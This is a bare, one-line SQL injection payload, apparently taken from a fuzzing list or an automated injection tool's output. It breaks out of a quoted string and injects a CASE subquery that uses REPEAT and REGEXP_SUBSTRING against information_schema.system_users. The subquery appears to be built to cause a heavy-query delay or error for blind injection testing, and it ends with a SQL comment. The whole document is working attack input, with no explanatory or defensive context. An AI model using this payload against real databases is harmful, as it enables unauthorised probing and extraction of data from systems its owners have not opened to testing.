1',  (  select   (  case when   (  8640  =  8640  )   then   (  ascii  (  regexp_substring  (  repeat  (  right  (  char  (  8640  )  ,0  )  ,500000000  )  ,null   )    )     )   else 8640/  (  select 0 from information_schema.system_users  )   end  )   from information_schema.system_users  )  --